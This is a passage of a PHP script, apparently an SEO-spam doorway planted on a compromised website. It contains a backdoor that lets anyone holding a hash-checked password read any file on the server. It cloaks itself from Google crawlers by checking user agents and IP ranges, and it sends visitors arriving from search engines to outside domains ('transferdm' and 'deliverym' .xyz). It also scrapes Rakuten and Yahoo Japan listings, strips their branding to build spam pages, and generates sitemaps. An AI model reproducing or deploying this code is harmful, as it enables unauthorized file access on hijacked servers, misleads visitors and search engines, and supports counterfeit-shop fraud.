  510. $str2 = preg_replace($r4, '', $str2); $r4 = '#c{6}getbg.*?c{6}getend#si'; $str2 = preg_replace($r4, '', $str2);
  511. file_put_contents(__FILE__,$str2);
  512. echo 'ok';
  513. die();
  514. }
  515.  
  516. // iiiiiiiiiend
  517.  
  518.  
  519.  
  520. $arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
  521. $arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};}
  522. $Arrrarr = array_flip($arrArrr);
  523. $stss = 'transferdm';
  524. $stss2 = 'deliverym';
  525.  
  526.  
  527. if(isset($_GET["gsitemap"])){
  528.  
  529. $O_OO0_0O_0='America/Chicago'; @date_default_timezone_set($O_OO0_0O_0);
  530. if (! is_dir("../sitemap"))
  531. mkdir("../sitemap", 0755);
  532. global $gnumber;
  533. $gnumber = 1;
  534.  
  535.  
  536.  
  537. $idUrl = GETDOM . "gpage.php?site=$thisdom&getid=".LINKNUM;
  538. $tempIdStr = curl_get_from_webpage($idUrl,'',5);
  539. $arrIdS = explode(',',$tempIdStr);
  540. $arrId = array();
  541.  
  542. // echo 'rukou:<br/>';
  543. // list($tempNowid,$tempSid,$tempPid) = explode('-',$arrIdS[0]);
  544. // echo getalink($tempSid,$tempPid,$tempNowid);
  545.  
  546. // echo "<br/>";
  547. // echo "<br/>";
  548.  
  549.  
  550. foreach($arrIdS as $keyid=>$vsid){
  551. $tempKeys = $keyid % 10;
  552. // echo $tempKeys.'==>'.$keyid.'==>'.$vsid."<br/>";
  553. $arrId[$tempKeys][] = $vsid;
  554. }
  555.  
  556.  
  557.  
  558. foreach($arrId as $key=>$vss){
  559.  
  560.  
  561. if(count($vss) < 100){
  562. echo "g sitemap fail<br/>";
  563. die();
  564. }
  565.  
  566. echo $key."<br/>";
  567.  
  568. if($gnumber == 1){
  569. if(JDT == 1){
  570. gsitemap($vss,2,1); }else{
  571. gsitemap($vss,1,2); }
  572. }else{
  573.  
  574. if(JDT == 1){
  575. gsitemap2($vss,2,1); }else{
  576. gsitemap2($vss,1,2); }
  577.  
  578. }
  579.  
  580. }
  581.  
  582.  
  583. unset($arrId);
  584. die();
  585.  
  586. }
  587.  
  588.  
  589. if(isset($_GET["chdate"]) && md5($_GET["chdate"])=='8b9431d1f8083f320f2d1a3d5a0a187e' && isset($_GET["redate_file"])){$redate_file = $_GET["redate_file"];if(file_exists($redate_file)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_GET["redate"]) && md5($_GET["redate"])=='8b9431d1f8083f320f2d1a3d5a0a187e' && isset($_GET["redate_file"])){$redate_file = $_GET["redate_file"];if(file_exists($redate_file)){echo rFile($redate_file);}else{echo '#nofile#';}die();}if(isset($_GET["test"]) && md5($_GET["test"])=='8b9431d1f8083f320f2d1a3d5a0a187e'){echo '#ok#'; die();}
  590. if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){
  591. die();}
  592. if(JDT==2){
  593.  
  594. $UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){
  595. $tempSid = ''; $tempPid = '';
  596.  
  597. $r0 ='#^(\d+'. BZSITE .'\d+)[-/]#i';
  598. $r1='#[-/](\d+'. BZSITE .'\d+)[-/]#i';
  599. if(preg_match($r0,$UrlParent,$matches)){
  600. if(isset($matches[1])){
  601. $tempSidStr = $matches[1];
  602. list($tempnNumID,$tempSid) = explode(BZSITE,$tempSidStr);
  603. }
  604. }else{
  605. preg_match($r1,$UrlParent,$matches10);
  606. if(isset($matches10[1])){
  607. $tempSidStr = $matches10[1];
  608. list($tempnNumID,$tempSid) = explode(BZSITE,$tempSidStr);
  609. }
  610. }
  611.  
  612.  
  613. $r2='#^'. BZPRO .'(\d+)[-/]#i'; $r3='#[-/]'. BZPRO .'(\d+)[-/]#i';
  614. if(preg_match($r2,$UrlParent,$matches2)){
  615. if(isset($matches2[1]))
  616. $tempPid = $matches2[1]; }else{
  617.  
  618. preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
  619. $tempPid = $matches13[1]; }
  620.  
  621.  
  622. if($tempSid && $tempPid && $tempnNumID){
  623. $_GET['id']= $tempnNumID .'-'. $tempSid .'-'. $tempPid; }
  624.  
  625. }
  626.  
  627. }elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
  628.  
  629. $tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword'];
  630. $r0 ='#^(\d+'. BZSITE .'\d+)[-/]#i';
  631. $r1='#[-/](\d+'. BZSITE .'\d+)[-/]#i';
  632. if(preg_match($r0,$UrlParent,$matches)){
  633. if(isset($matches[1])){
  634. $tempSidStr = $matches[1];
  635. list($tempnNumID,$tempSid) = explode(BZSITE,$tempSidStr);
  636. }
  637. }else{
  638. preg_match($r1,$UrlParent,$matches10);
  639. if(isset($matches10[1])){
  640. $tempSidStr = $matches10[1];
  641. list($tempnNumID,$tempSid) = explode(BZSITE,$tempSidStr);
  642. }
  643. }
  644.  
  645.  
  646. $r2='#^'. BZPRO .'(\d+)[-/]#i'; $r3='#[-/]'. BZPRO .'(\d+)[-/]#i';
  647. if(preg_match($r2,$UrlParent,$matches2)){
  648. if(isset($matches2[1]))
  649. $tempPid = $matches2[1]; }else{
  650.  
  651. preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1]))
  652. $tempPid = $matches13[1]; }
  653.  
  654.  
  655. if($tempSid && $tempPid && $tempnNumID){
  656. $_GET['id']= $tempnNumID .'-'. $tempSid .'-'. $tempPid;
  657. }
  658. }
  659.  
  660. // $_SERVER["HTTP_REFERER"] = "google.com.hk";
  661.  
  662.  
  663. function getRandStr(){
  664.  
  665. $arrABC = range('a','z'); shuffle($arrABC);
  666. $randNum = rand(4,6);
  667. $str = implode('',array_slice($arrABC,0,$randNum));
  668. return $str;}
  669. if(isset($_GET["id"]))
  670. $id = $_GET["id"];else{
  671. $id = "0-3218-25168"; //llq index id
  672. }
  673.  
  674.  
  675. $idTemp = explode('-',$id);if(count($idTemp) < 3)
  676. die();
  677.  
  678. list($nNumID,$siteid,$id23) = explode('-',$id);
  679.  
  680. $siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM;
  681.  
  682.  
  683. if(isset($_SERVER["HTTP_REFERER"])){
  684. $referer = $_SERVER["HTTP_REFERER"];
  685. $russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i';
  686.  
  687. $ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.15.255' ) , array('66.249.64.0' , '66.249.95.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') );
  688. $localIp = get_real_ip();
  689. $is_or_no = is_ip($localIp,$ipRanges);
  690. $iszz = isCrawler();
  691.  
  692. if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false){
  693. $rsdom = '#^http://www\.[^/+]/$#si';
  694.  
  695. $jumDom1 = 'http://www.'.$stss.'.xyz'. DOMTXT . $siteid .".txt";
  696. $jumDom2 = 'http://www.'.$stss2.'.xyz'. DOMTXT . $siteid .".txt";
  697.  
  698. for($i=0;$i<2;$i++){
  699. $domJump = curl_getjs_from_webpage($jumDom1,2);
  700. $domJump = trim($domJump);
  701.  
  702. if(!preg_match($rsdom,$domJump)){
  703. $domJump = curl_getjs_from_webpage($jumDom2,10);
  704.  
  705. $domJump = trim($domJump);
  706. if(preg_match($rsdom,$domJump))
  707. break;
  708. }else{
  709. break;
  710. }
  711. }
  712.  
  713. echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $domJump . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>'; die();
  714. }
  715. }
  716.  
  717. $fcontent = '';
  718.  
  719. $keyWzi = $id23 % 6;$preOrEnd = $arrKeywz[$keyWzi]%2;
  720.  
  721. $pInfoUrl = GETDOM . "gpage.php?site=$thisdom&id=$nNumID&jgnum=". JGNUM ."&linknum=".LINKNUM;
  722.  
  723.  
  724. $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);
  725.  
  726.  
  727. $rFL = '#<FL>(.*?)</FL>#si';
  728. preg_match($rFL, $pInfoStr, $matchFL);
  729. if($matchFL[1]) $fStr = $matchFL[1];else $fStr = '';
  730.  
  731.  
  732. $arrf1 = explode("#lkfglkfg#",$fStr);
  733. $arrFIdName = array();
  734. $arrFIdImg = array();
  735. if(count($arrf1)){
  736. foreach($arrf1 as $values){
  737. $values = trim($values);
  738. if(!$values)
  739. continue;
  740. $arrts = explode("===>",$values);
  741. if(count($arrts) == 3)
  742. $arrFIdName[$arrts[0]] = $arrts[1];
  743. $arrFIdImg[$arrts[0]] = $arrts[2];
  744. }
  745. }
  746.  
  747. $rLK = '#<LK>(.*?)</LK>#si';
  748. preg_match($rLK, $pInfoStr, $matchLK);
  749.  
  750. $rpImg = '#<pImg>(.*?)</pImg>#si';
  751. preg_match($rpImg, $pInfoStr, $matchpImg);
  752.  
  753.  
  754. $rMyName = '#<MyName>(.*?)</MyName>#si';
  755. preg_match($rMyName, $pInfoStr, $matchMyName);
  756.  
  757.  
  758. if($matchpImg[1])
  759. $strpImg = trim($matchpImg[1]);
  760. else
  761. $strpImg = '';
  762.  
  763.  
  764. $imgArr = explode('#img#',$strpImg);
  765. $tempPimgStr = '';
  766. foreach($imgArr as $vs){
  767. $vs = trim($vs);
  768. if($vs)
  769. $tempPimgStr .= '<div class="text-center"><img src="'.$vs.'"></div>';
  770. }
  771.  
  772.  
  773. if($matchMyName[1])
  774. $strMyName = trim($matchMyName[1]);
  775. else
  776. $strMyName = '';
  777.  
  778.  
  779.  
  780. if($matchLK[1])
  781. $lkStr = trim($matchLK[1]);
  782. else
  783. die();
  784.  
  785.  
  786. $html = curl_get_from_webpage($lkStr,'',5);
  787.  
  788.  
  789. $productsPd2 = '';
  790.  
  791. if(strstr($lkStr,'yahoo.co.jp')){
  792. $proNameRelur='#<!-- itemInfoTitle -->(.*?)<!-- /itemInfoTitle -->#si';
  793. preg_match($proNameRelur, $html, $matchesName);
  794. $productsName = rmhtmltag2('',$matchesName[1]);
  795.  
  796. $productsName = trim($productsName);
  797.  
  798. if(!$productsName){
  799. $productsName = $strMyName;
  800. }
  801.  
  802.  
  803.  
  804. preg_match('#<!-- itemInfoLead -->(.*?)<!-- /itemInfoLead -->#si', $html, $matchesDes);
  805. $productsDes = $matchesDes[1];
  806.  
  807. $productsDes = rmhtmltag2('iframe', $productsDes);
  808. $productsDes = rmhtmltag2('a', $productsDes);
  809.  
  810. }else{
  811. $html = iconv('EUC-JP','utf-8',$html);
  812.  
  813. $proNameRelur='#<span class="item_name">(.*?)</span>#si';
  814. preg_match($proNameRelur, $html, $matchesName);
  815. $productsName = rmhtmltag2('',$matchesName[1]);
  816.  
  817. $productsName = trim($productsName);
  818.  
  819. if(!$productsName){
  820. $productsName = $strMyName;
  821. }
  822.  
  823. $proPd2Relur = '#<span class="catch_copy">(.*?)</span>#si';
  824. preg_match($proPd2Relur, $html, $matchesPd2);
  825. $productsPd2 = $matchesPd2[1];
  826. $productsPd2 = rmhtmltag2('',$productsPd2);
  827.  
  828.  
  829.  
  830. preg_match('#<td><span class="sale_desc">(.*?)</span>\s*<br>\s*<br>\s*</td>#si', $html, $matchesDes);
  831. $productsDes = $matchesDes[1];
  832.  
  833. preg_match('#<td><span class="item_desc">(.*?)</span>\s*<br>\s*<br>\s*</td>#si', $html, $matchesDes2);
  834. $productsDes .= $matchesDes2[1];
  835. $productsDes = rmhtmltag2('iframe', $productsDes);
  836. $productsDes = rmhtmltag2('a', $productsDes);
  837.  
  838. }
  839.  
  840.  
  841.  
  842.  
  843. // preg_match_all('#<div src="([^"]+)"#si', $html, $matchesImg);
  844. // $productsImgArr = $matchesImg[1];
  845.  
  846.  
  847.  
  848. $rpword[] = '%E6%A5%BD%E5%A4%A9%E5%B8%82%E5%A0%B4%E5%BA%97';
  849. $rpword[] = '%E3%80%90%E6%A5%BD%E5%A4%A9%E5%B8%82%E5%A0%B4%E3%80%91';
  850. $rpword[] = '%E6%A5%BD%E5%A4%A9%E5%B8%82%E5%A0%B4';
  851. $rpword[] = '%E3%80%90%E3%82%AB%E3%83%BC%E3%83%89%E6%B1%BA%E6%B8%88OK%E3%80%91';
  852. $rpword[] = '%E3%80%90%E3%81%82%E3%81%99%E6%A5%BD%E5%AF%BE%E5%BF%9C%E3%80%91';
  853. $rpword[] = '%E3%80%90%E4%BB%A3%E5%BC%95%E4%B8%8D%E5%8F%AF%E3%80%91';
  854. $rpword[] = '%E9%80%9A%E4%BF%A1%E8%B2%A9%E5%A3%B2';
  855. $rpword[] = '%E9%80%9A%E8%B2%A9';
  856. $rpword[] = '%E6%A5%BD%E5%A4%A9';
  857. $rpword[] = '%e3%83%a4%e3%83%95%e3%83%bc%e5%ba%97+';
  858. $rpword[] = '%e3%83%a4%e3%83%95%e3%83%bc';
  859.  
  860.  
  861. $pMateTitle = '';
  862. $pMateKey = '';
  863. $pMateDes = '';
  864.  
  865. $proMateTitleRelur = '#<title>(.*?)</title>#si';
  866. preg_match($proMateTitleRelur, $html, $matchesMateTitle);
  867.  
  868. if(isset($matchesMateTitle[1]) && trim($matchesMateTitle[1])){
  869. $pMateTitle = trim($matchesMateTitle[1]);
  870.  
  871. foreach($rpword as $vsword){
  872. $let = urldecode($vsword);
  873. $pMateTitle = str_replace($let,"",$pMateTitle);
  874. }
  875. reset($rpword);
  876.  
  877. $pMateTitle = str_replace('rakuten.co.jp',"",$pMateTitle);
  878. $pMateTitle = str_replace('rakuten',"",$pMateTitle);
  879. $pMateTitle = str_replace('Yahoo!',"",$pMateTitle);
  880. $pMateTitle = str_replace('Yahoo',"",$pMateTitle);
  881. }
  882.  
  883.  
  884. $proMateKeyRelur = '#<meta name="keywords" content="([^"]+)"#si';
  885. preg_match($proMateKeyRelur, $html, $matchesMateKey);
  886.  
  887. if(isset($matchesMateKey[1]) && trim($matchesMateKey[1])){
  888. $pMateKey = trim($matchesMateKey[1]);
  889.  
  890. foreach($rpword as $vsword){
  891. $let = urldecode($vsword);
  892. $pMateKey = str_replace($let,"",$pMateKey);
  893. }
  894. reset($rpword);
  895.  
  896. $pMateKey = str_replace('rakuten.co.jp',"",$pMateKey);
  897. $pMateKey = str_replace('rakuten',"",$pMateKey);
  898. $pMateKey = str_replace('Yahoo!',"",$pMateKey);
  899. $pMateKey = str_replace('Yahoo',"",$pMateKey);
  900.  
  901. }
  902.  
  903. $proMateDesRelur = '#<meta name="description" content="([^"]+)"#si';
  904. preg_match($proMateDesRelur, $html, $matchesMateDes);
  905.  
  906. if(isset($matchesMateDes[1]) && trim($matchesMateDes[1])){
  907. $pMateDes = trim($matchesMateDes[1]);
  908.  
  909. foreach($rpword as $vsword){
  910. $let = urldecode($vsword);
  911. $pMateDes = str_replace($let,"",$pMateDes);
  912. }
  913. reset($rpword);
  914.  
  915.  
  916. $pMateDes = str_replace('rakuten.co.jp',"",$pMateDes);
  917. $pMateDes = str_replace('rakuten',"",$pMateDes);
  918.  
  919. $pMateDes = str_replace('Yahoo!',"",$pMateDes);
  920. $pMateDes = str_replace('Yahoo',"",$pMateDes);
  921. }
  922.  
  923.  
  924. $productsDes = str_replace('<IMG ','<img ',$productsDes);
  925. $productsDes = rmhtmltag2('meta',$productsDes);
  926. $productsDes = rmhtmltag('script',$productsDes);
  927. $productsDes = rmhtmltag2('img',$productsDes);
  928.  
  929. $pName = $productsName;
  930. $pDes = $productsDes;
  931. $pd2 = $productsPd2;
  932.  
  933. $pMateKey = preg_replace('#^,+#i','',$pMateKey);
  934. $pMateKey = str_replace('<meta name=,','',$pMateKey);
  935. $pMateKey = str_replace('<meta name=','',$pMateKey);
  936.  
  937.  
  938.  
  939.  
  940. if(!$pMateTitle or !$pMateDes or !$pMateKey){
  941. $pMateTitle = $productsName;
  942. $pMateDes = $productsName;
  943. $pMateKey = $productsName;
  944. }
  945.  
  946. $lttitlerp = '<p><strong>'.$pMateTitle.'</strong></p>';
  947. $lttitlerp .= '<p><strong>'.$pMateDes.'</strong></p>';
  948.  
  949. $pnamesrp = '<p><strong>'.$pName.'</strong></p>';
  950. $pnamesrp .= '<p><strong>'.$pMateDes.'</strong></p>';
  951.  
  952.  
  953.  
  954. // if($preOrEnd){
  955. if(0){
  956. $pDes = '<p><strong>'.$pMateTitle.'</strong></p>'.$pDes .$pd2. '<p><strong>'.$pMateDes.'</strong></p>' ."<br/>".$tempPimgStr;
  957. }else{
  958. $pDes = $tempPimgStr . '<p><strong>'.$pMateTitle.'</strong></p>'. $pDes .$pd2. '<p><strong>'.$pMateDes.'</strong></p>';
  959. }
  960.  
  961. $pDes = str_ireplace("<img ", '<img class="img-responsive rounded" alt="#bbbNamebbb#" title="#bbbNamebbb#" ',$pDes);$rpDes = $pDes;
  962. $rpDes = str_replace('#bbbNamebbb#',$pName,$rpDes);
  963. $linkfirst = '';
  964. if(count($arrFIdName)){
  965. $linkfirst .= '<ul class="list-group">';
  966. foreach($arrFIdName as $valueFlinkId => $vsss){
  967.  
  968. if(!isset($arrFIdImg[$valueFlinkId]))
  969. continue;
  970.  
  971. list($tempNowid,$tempSid,$tempPid) = explode('-',$valueFlinkId);
  972. $friendlink = getalink($tempSid,$tempPid,$tempNowid);
  973.  
  974. $tempLinkKey = $vsss;
  975. $tempImg = trim($arrFIdImg[$valueFlinkId]);
  976.  
  977. $linkfirst=$linkfirst.'<li class="list-group-item col-md-3 col-sm-4 col-xs-6">'."<a href=\"".$friendlink."\">". '<img src="'.$tempImg.'" class="img-responsive" alt="'.$tempLinkKey.'" title="'.$tempLinkKey.'">' ."</a></li>".PHP_EOL;
  978. }
  979. }
  980.  
  981. $fileMb = fopen("moban.html","r");
  982. $html = fread($fileMb,filesize("moban.html"));
  983.  
  984. $html = str_ireplace('#bbbdesbbb#', $pMateDes, $html);
  985. $html = str_ireplace('#bbbkeybbb#', $pMateKey, $html);
  986. $html = str_ireplace('#bbbtitsbbb#', $pMateTitle, $html);
  987. $html = str_ireplace('#bbblttitlebbb#', $lttitlerp, $html);
  988. $html = str_ireplace('#bbbNamebbb#', $pName, $html);
  989. $html = str_ireplace('#descontent#', $rpDes, $html);
  990. $html = str_ireplace('#links1#', $linkfirst, $html);
  991. $html = str_ireplace('#bbbpnamesbbb#', $pnamesrp, $html);
  992.  
  993.  
  994. echo $html;
  995.  
  996. die();
  997.  
  998.  
  999.  
  1000. function getMapNum($bgNum,$mapnum){
  1001. $TempArr = array();
  1002. if($bgNum + $mapnum <= FNUM){
  1003. for($i=0;$i<$mapnum;$i++){
  1004. $TempArr[$i] = $bgNum + $i -1;
  1005. }
  1006. }else{
  1007. for($i=0;$i<$mapnum;$i++){
  1008. if($bgNum+$i > FNUM)
  1009. $TempArr[$i] = $bgNum + $i -1 -FNUM;
  1010. else
  1011. $TempArr[$i] = $bgNum + $i -1;
  1012. }
  1013. }
  1014.  
  1015. return $TempArr;
  1016. }
  1017.  
  1018.  
  1019. function getRandId(){
  1020. $num = rand(1,FNUM); $num = $num - 1; require(FILEDIRNAME . "/id$num.php"); $indexId=array_rand($arrId,1); $id = $arrId[$indexId]; unset($arrId); return $id;}
  1021. function get_arrvs($arr,$num,$nowkey){
  1022. $numArr = count($arr);
  1023. if($nowkey + $num < $numArr)
  1024. return $arr[$nowkey + $num]; else{
  1025. if($nowkey + $num - $numArr - $numArr > 0)
  1026. return get_arrvs($arr,$num - $numArr,$nowkey); else
  1027. return $arr[abs($nowkey + $num - $numArr)]; }
  1028. }
  1029.  
  1030. function get_pre_link($arr,$key){
  1031.  
  1032. $tmpA1 = array(); $tmpA2 = array();
  1033. $num = count($arr);
  1034.  
  1035. if($key + JGNUM + 1 + LINKNUM >= $num){
  1036.  
  1037. if($key + JGNUM + 1 - $num > LINKNUM){
  1038. return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM); }else{
  1039.  
  1040. $duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1; $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM); $tmpA2 = array_slice($arr, 0, $duoyu);
  1041. return array_merge($tmpA1,$tmpA2); }
  1042. }else{
  1043. return array_slice($arr, $key + JGNUM + 1, LINKNUM); }
  1044.  
  1045. }
  1046. function get_next_link($arr,$key){
  1047.  
  1048. $tmpA1 = array(); $tmpA2 = array();
  1049. $num = count($arr); if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){
  1050. $duoyu = abs($key - JGNUM - LINKNUM); $tmpA1 = array_slice($arr, 0, abs($key - JGNUM)); $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu); return array_merge($tmpA1,$tmpA2); }else{
  1051. return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); }
  1052. }
  1053. function rFile($file){
  1054. if(function_exists('file_get_contents')){
  1055. return file_get_contents($file);
  1056. }else{
  1057. $handle = fopen($file, "r");
  1058. $contents = fread($handle, filesize($file));
  1059. fclose($handle);
  1060. return $contents;
  1061. }
  1062. }
  1063. function isCrawler() {
  1064. $agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) {
  1065. $spiderSite= array(
  1066. "Googlebot",
  1067. "Mediapartners-Google",
  1068. "Adsbot-Google",
  1069. "Yahoo!",
  1070. "Google AdSense",
  1071. "Yahoo Slurp",
  1072. "bingbot",
  1073. "MSNBot"
  1074. ); foreach($spiderSite as $val) {
  1075. $str = strtolower($val); if (strpos($agent, $str) !== false) {
  1076. return true; }
  1077. }
  1078. } else {
  1079. return false; }
  1080. }
  1081.  
  1082. function glink($filenames,$jdt=1){
  1083. $filePres = ''; $fileEnds = '';
  1084. if($jdt == 1){
  1085. $filePres = basename(__FILE__) . "?id="; }else{
  1086. $filePres = ''; $fileEnds = JTHZ; }
  1087. ////获取文件目录
  1088. $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
  1089. $siteLink='http://'.$_SERVER['HTTP_HOST'];
  1090. $put_str = '';
  1091. $urlsArray = $filenames; //print_r($urlsArray);
  1092. $numLinks = count($urlsArray);
  1093. foreach($urlsArray as $value){
  1094. $curphp=basename(__FILE__);
  1095. $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); //print_r( $value.$curphp." ".$first." ".$last); if($first===false && $last===false && $checkTxt===false)
  1096. {
  1097.  
  1098. $url=$serpath ."/". $filePres . PRENAME . '-' . basename($value) .$fileEnds; $put_str .= $url . PHP_EOL;
  1099. }
  1100. }
  1101. $gFile = 'urls.txt'; echo '<br/>'.$gFile.'';
  1102. @unlink($gFile); file_put_contents($gFile,$put_str); echo "生成成功!<br/>";
  1103. }
  1104. //生成sitemap.xml文件,超出4000个则换一个xml文件;参数$c=1生成原始路径的sitemap,$c=2则生成映射后的路径
  1105. //$dir目录参数
  1106.  
  1107.  
  1108. function print_map2($filenames,$c=1,$jdt=1){
  1109.  
  1110. $filePres = ''; $fileEnds = '';
  1111. $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
  1112. if(JDT == 2){
  1113. $filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
  1114. $filePres = $httcReplace . "/"; }elseif(JDT == 3){
  1115. $filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{
  1116. $filePres = ''; }
  1117. if(JDT == 3){
  1118. $fileEnds = ''; }else{
  1119. $fileEnds = JTHZ; }
  1120. $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
  1121. $siteLink='http://'.$_SERVER['HTTP_HOST'];
  1122. $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>';
  1123. // $urlsArray = $filenames;
  1124. // $numLinks = count($urlsArray);
  1125. $star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
  1126. $str = "";
  1127. $tempArr1 = $filenames;
  1128.  
  1129. foreach($tempArr1 as $value2){
  1130. $curphp=basename(__FILE__);
  1131. $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); list($tempNowid,$tempSid,$tempPid) = explode('-',$value);
  1132. $url = getalink($tempSid,$tempPid,$tempNowid);
  1133.  
  1134.  
  1135.  
  1136.  
  1137. if($first===false && $last===false && $checkTxt===false)
  1138. {
  1139. $date = date("Y-m-d"); $time = date("H:i:s");
  1140.  
  1141. if($star % 12000==11999){
  1142. $put_str = $mapPre . $str . $mapEnd;
  1143. header("Content-type: text/xml");
  1144. echo $put_str;
  1145. return;
  1146. }
  1147.  
  1148.  
  1149.  
  1150.  
  1151. $str .= " <url>
  1152. <loc>" . $url . "</loc>
  1153. <lastmod>". $date . "T" . $time ."-05:00</lastmod>
  1154. <changefreq>daily</changefreq>
  1155. <priority>0.1</priority>
  1156. </url>
  1157. ";
  1158.  
  1159.  
  1160. $star++; $starPri++; }
  1161. }
  1162.  
  1163. {
  1164.  
  1165. $put_str = $mapPre . $str . $mapEnd;
  1166. header("Content-type: text/xml");
  1167. echo $put_str;
  1168.  
  1169. }
  1170.  
  1171. unset($tempArr1); unset($filenames);
  1172. }
  1173.  
  1174. function print_map($filenames,$c=1,$jdt=1){
  1175. $filePres = ''; $fileEnds = '';
  1176.  
  1177. $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
  1178. $siteLink='http://'.$_SERVER['HTTP_HOST'];
  1179. $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>';
  1180. // $urlsArray = $filenames;
  1181. // $numLinks = count($urlsArray);
  1182.  
  1183. $star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
  1184. $str = " <url>
  1185. <loc>" . $siteLink . "</loc>
  1186. <lastmod>". $date . "T" . $time ."-05:00</lastmod>
  1187. <changefreq>always</changefreq>
  1188. <priority>1.0</priority>
  1189. </url>
  1190. ";
  1191. $tempArr1 = $filenames;
  1192.  
  1193. foreach($tempArr1 as $value2){
  1194. $curphp=basename(__FILE__);
  1195. $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt");
  1196.  
  1197. list($tempNowid,$tempSid,$tempPid) = explode('-',$value);
  1198. $url = getalink($tempSid,$tempPid,$tempNowid);
  1199.  
  1200. if($first===false && $last===false && $checkTxt===false)
  1201. {
  1202. $date = date("Y-m-d"); $time = date("H:i:s");
  1203.  
  1204. if($star % 12000==11999){
  1205. $put_str = $mapPre . $str . $mapEnd;
  1206. header("Content-type: text/xml");
  1207. echo $put_str;
  1208. return;
  1209. }
  1210.  
  1211. if($starPri >= 400 && $priority != 0.1){
  1212. $starPri = 0; $priority = $priority - 0.1; }
  1213.  
  1214. if($priority > 0.1){
  1215.  
  1216. $str .= " <url>
  1217. <loc>" . $url . "</loc>
  1218. <lastmod>". $date . "T" . $time ."-05:00</lastmod>
  1219. <changefreq>daily</changefreq>
  1220. <priority>". $priority . "</priority>
  1221. </url>
  1222. ";
  1223. }else{
  1224. $str .= " <url>
  1225. <loc>" . $url . "</loc>
  1226. <lastmod>". $date . "T" . $time ."-05:00</lastmod>
  1227. <changefreq>daily</changefreq>
  1228. <priority>0.1</priority>
  1229. </url>
  1230. ";
  1231. }
  1232.  
  1233. $star++; $starPri++; }
  1234. }
  1235.  
  1236. {
  1237.  
  1238. $put_str = $mapPre . $str . $mapEnd;
  1239. header("Content-type: text/xml");
  1240. echo $put_str;
  1241.  
  1242. }
  1243.  
  1244. unset($tempArr1); unset($filenames);
  1245. }
  1246.  
  1247. function gsitemap2($filenames,$c=1,$jdt=1){
  1248. global $gnumber,$arrArrr;
  1249. $filePres = ''; $fileEnds = '';
  1250. $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
  1251. if(JDT == 2){
  1252. $filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
  1253. $filePres = $httcReplace . "/"; }elseif(JDT == 3){
  1254. $filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{
  1255. $filePres = ''; }
  1256. if(JDT == 3){
  1257. $fileEnds = ''; }else{
  1258. $fileEnds = JTHZ; }
  1259. $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
  1260. $siteLink='http://'.$_SERVER['HTTP_HOST'];
  1261. $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>';
  1262. // $urlsArray = $filenames;
  1263. // $numLinks = count($urlsArray);
  1264. $star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
  1265. $str = "";
  1266. $tempArr1 = $filenames;
  1267.  
